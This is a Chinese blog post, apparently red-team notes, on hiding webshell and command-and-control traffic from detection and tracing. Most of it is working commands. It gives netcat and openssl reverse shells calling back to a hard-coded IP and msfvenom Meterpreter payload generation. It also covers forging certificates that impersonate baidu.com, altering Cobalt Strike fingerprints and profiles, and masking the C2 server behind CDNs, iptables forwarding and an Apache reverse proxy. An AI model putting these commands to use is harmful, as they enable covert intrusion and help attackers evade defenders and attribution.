webshell隐藏&反溯源

文章详细描述了如何通过openssl生成自签名证书、利用Metasploit进行HTTPS后门操作、修改流量通讯特征以隐藏C2通信,以及如何使用Keytool和Apache中间件来增强C2项目的隐蔽性。
摘要由CSDN通过智能技术生成

NC-未加密&加密后

nc -lvvp 5566
nc -e /bin/bash 47.94.236.117 5566
加密前nc数据明文传输

在我们的攻击端生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
在攻击机上监听指定端口,这里我选择 8888
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
在受害机上执行 shell 反弹命令(注意修改 ip 和端口)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.236.117:8888 > /tmp/s;

MSF-流量通讯特征修改-证书-openssl

直接生成为http协议后门
msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=5566 -f exe -o http.exe

特征显而易见

采用reverse_https 上线,采用默认证书,特征依然明显
msfvenom -p windows/meterpreter/reverse_reverse_https LHOST=47.94.236.117 LPORT=5566 -f exe -o https.exe

解决 HTTPS-SSL 通讯证书被特征标示问题
1.利用 openssl 生成证书:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt

-impersonate_ssl 模块
此外 Metasploit 框架还有一个 auxiliary/gather/impersonate_ssl 模块,可
以用来自动从信任源创建一个虚假证书,十分方便:
use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run

2.MSF 生成绑定证书后门:

msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPORT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o https-b.exe

3.MSF 监听上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run

CS-流量通讯特征修改-Keytool&Profiles

-解决HTTP/S通讯证书及流量特征被特征标示问题
JDK Keytool 修改cs特征
1.修改默认端口:
编辑teamserver文件,更改server port部分50050端口
2.去除store证书特征:
查看证书指纹:keytool -list -v keystore cobaltstrike.store
生成证书指纹:keytool -keystore cobaltstrikel.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias xiaodi8.com -dname “CN=xiaodi8 e-Szigno Root CA,OU=e-Szigno CA, O=xiaodi8 Ltd., L=Budapest, S=HU, C=HU”
应用证书指纹:keytool -importkeystore -srckeystore cobaltstrikel.store -destkeystore cobaltstrikel.store -deststoretype pkcs12
3、去除流量通讯特征:
规则资源:
https://github.com/xx0hcd/Malleable-C2-Profiles
https://github.com/FortyNorthSecurity/C2concealer
1.创建C2文件:xiaodi.profiles
2.写入通讯规则:UA头&GET&POST&心跳&证书等
3.测试规则正常:./c2lint xiaodi.profiles
4.加载C2规则启动:./teamserver ip密码 xiaodi.profiles

profiles加载证书
以下规则和生成的证书保持一致
https-certificate
set CN "xiaodi8 e-Szigno Root CA";
set O "xiaodi8 Ltd.";
set C "HU" ;
set L "Budapest" ;
set OU "e-Szigno CA";
set ST "HU";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "xiaodi.store";
set password "xiaodi";
set alias "xiaodi8.com"
}

CS-防封锁 IP 地址

CDN

国外域名+cloudflare

配置 HTTPS stager host
Cloudflare 支持的 HTTP 端口:80 8080 8880 2052 2082 2086 2095
Cloudflare 支持的 HTTPS 端口:443 2053 2083 2087 2096 8443

腾讯云云函数

使用腾讯云函数隐藏C2_云函数隐藏c2服务器后执行命令没有回显-CSDN博客

端口转发-Iptables
后门运行后先把流量发给转发机某端口,转发机再把该端口流量转发给c2服务器的某端口

1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward =1
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146

只能隐藏ip,封ip还是掉权限

中间件反向代理

1、代理机安装Apache:
apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

2、中间件设置转发:
http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务
service apache2 restart

参考:

【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置_创建c2文件xiaodi.profile-CSDN博客

  • 30
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值